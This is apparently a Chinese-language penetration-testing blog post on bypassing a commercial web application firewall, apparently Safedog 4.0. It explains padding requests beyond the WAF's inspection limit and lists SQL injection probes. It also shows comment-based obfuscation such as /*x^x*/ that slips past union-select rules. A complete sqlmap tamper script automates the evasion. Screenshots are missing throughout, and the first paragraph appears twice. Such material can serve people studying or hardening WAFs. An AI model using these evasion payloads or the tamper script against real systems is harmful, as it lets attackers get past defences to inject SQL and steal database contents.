某些Web服务器的特性不一,导致WAF在判断时候无法完全工作。经常出现的情况大部分都是协议层与Web服务器之间WAF没有很好的处理请求,导致无法拦截很多生僻的攻击手法,那么我们先从GET、POST先说起。

0x00 匹配资源大小限制

某些Web服务器的特性不一,导致WAF在判断时候无法完全工作。经常出现的情况大部分都是协议层与Web服务器之间WAF没有很好的处理请求,导致无法拦截很多生僻的攻击手法,那么我们先从GET、POST先说起。

Get方法提交的数据大小长度并没有限制,HTTP协议规范没有对URL长度进行限制。这个限制是特定的浏览器及服务器对它的限制。可见WAF可能在处理GET请求的时候,根据客户端(浏览器)规定的长度去匹配了,这就造成了一个缺陷。我们可以把有效数据放在这个限制的零界点,攻击语句放在零界点后方,让WAF以为这是一个正常请求,就随之放行,达到了攻击效果。

理论上讲,POST是没有大小限制的。HTTP协议规范也没有进行大小限制,起限制作用的是服务器的处理程序的处理能力。

例如在使用PHP进行POST提交时,文件大小受PHP配置文件PHP.INI限制,我们可以修改PHP.INI文件中的post_max_size参数,可将默认的2M字节,修改自己需要的大小,但由于HTTP协议的特性,这个值不宜设置过大,最大以8M为宜。假设如果服务器端设置了8M,而WAF默认只匹配2M,由此可见服务器端接受数据的大小>WAF匹配的数据最大大小。那么,我们可以根据上述方法,也可绕过WAF的拦截。

0x01 绕过某WAF上传

渗透测试中的Bypass技巧(二) - 知乎专栏

在上一章中我们已经举例了一个bypass上传,最重要的彩蛋就在Bypass注入啦~

0x02 绕过某WAF注入

我们构造一个SQL注入页面,慢慢去研究它的拦截规则:

enter description here

先从普通的语句开始做定位:

  • and 1=1

  • and ‘s’=’s’

  • union select 1,2,3

  • union/**/select/**/user(),2,3

  • ……

  • 等价替换
  • And ‘s’ like ‘s’

此时我们已经可以使用like用于盲注(此时可以将所有的 = 替换成 Like )

enter description here

注释

我们可以设想出拦截的特征正则

union与select同时出现会被拦截,union[空格,%20,/*部分字符*/]select都会被拦截,目前普通的union select都会被拦截,既然空格,%20都会被匹配到,我们只能通过/**/内联来注释了(目前发现N多姿势,在这里只共享思路+一个bypass的tamper脚本)

  • /**/

  • /*数字+字母*/

  • /*特殊符号+数字+字母*/

  • …..more

假设union左右如果有select就拦截的话,那么定位union与select之间的敏感字符就好,假设union[空格]select,此时如果把空格替换成任意内联,就可bypass这个规则,此时规则也不可能是一条的。条件也是很多的。我们也只能讲内联这个规则做手脚了。

于是乎我发现/*^xxx^xxx*/字母加特殊字符即可bypass。

因为每个特征中都没有匹配到^与小写字母、大写字母、数字的组合,这些条件可以继续测试,笔者已经把此文写到最佳精简,测试期间也翻看过拦截日志,定位拦截特征。

(Union注入)例如在读取:mysql密码、表名的时候,我们还会查询information_schema数据库,这个可以转换大小写,或者在information_schema.TABLES直接再添加一个注释。下面就是测试过程:首先测试简单的and 1=1

enter description here

然后我们使用注释bypass:

enter description here

此时已经bypass成功了,我在这里用的是某dog 4.0(3.5也可以)

enter description here

0x03 自动化bypass注入

我们通过编写sqlmap的tamper用于bypass,主要是需要定位各种拦截点,使用sqlmap替换Payload。

首先在sqlmap的tamper文件夹里创建一个safedog.py,编写我们的tamper脚本

enter description here

#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW

def tamper(payload):
    if payload:
		bypass_SafeDog_str = "/*x^x*/"
		payload=payload.replace("UNION",bypass_SafeDog_str+"UNION"+bypass_SafeDog_str)
		payload=payload.replace("SELECT",bypass_SafeDog_str+"SELECT"+bypass_SafeDog_str)
		payload=payload.replace("AND",bypass_SafeDog_str+"AND"+bypass_SafeDog_str)
		payload=payload.replace("=",bypass_SafeDog_str+"="+bypass_SafeDog_str)
		payload=payload.replace(" ",bypass_SafeDog_str)
		payload=payload.replace("information_schema.","%20%20/*!%20%20%20%20INFOrMATION_SCHEMa%20%20%20%20*/%20%20/*^x^^x^*/%20/*!.*/%20/*^x^^x^*/")
		payload=payload.replace("FROM",bypass_SafeDog_str+"FROM"+bypass_SafeDog_str)
		#print "[+]THE PAYLOAD RUNNING...Bypass safe dog 4.0 apache version ."
		print payload
    return payload

我们测试一下先不载入tamper脚本:

enter description here

到了这基本没戏了,我们看看拦截日志

enter description here

现在载入tamper脚本:

enter description here

可以看到已经载入,并且识别了waf指纹。

以下是跑脚本的过程

enter description here

enter description here

支持布尔值注入

支持union注入

enter description here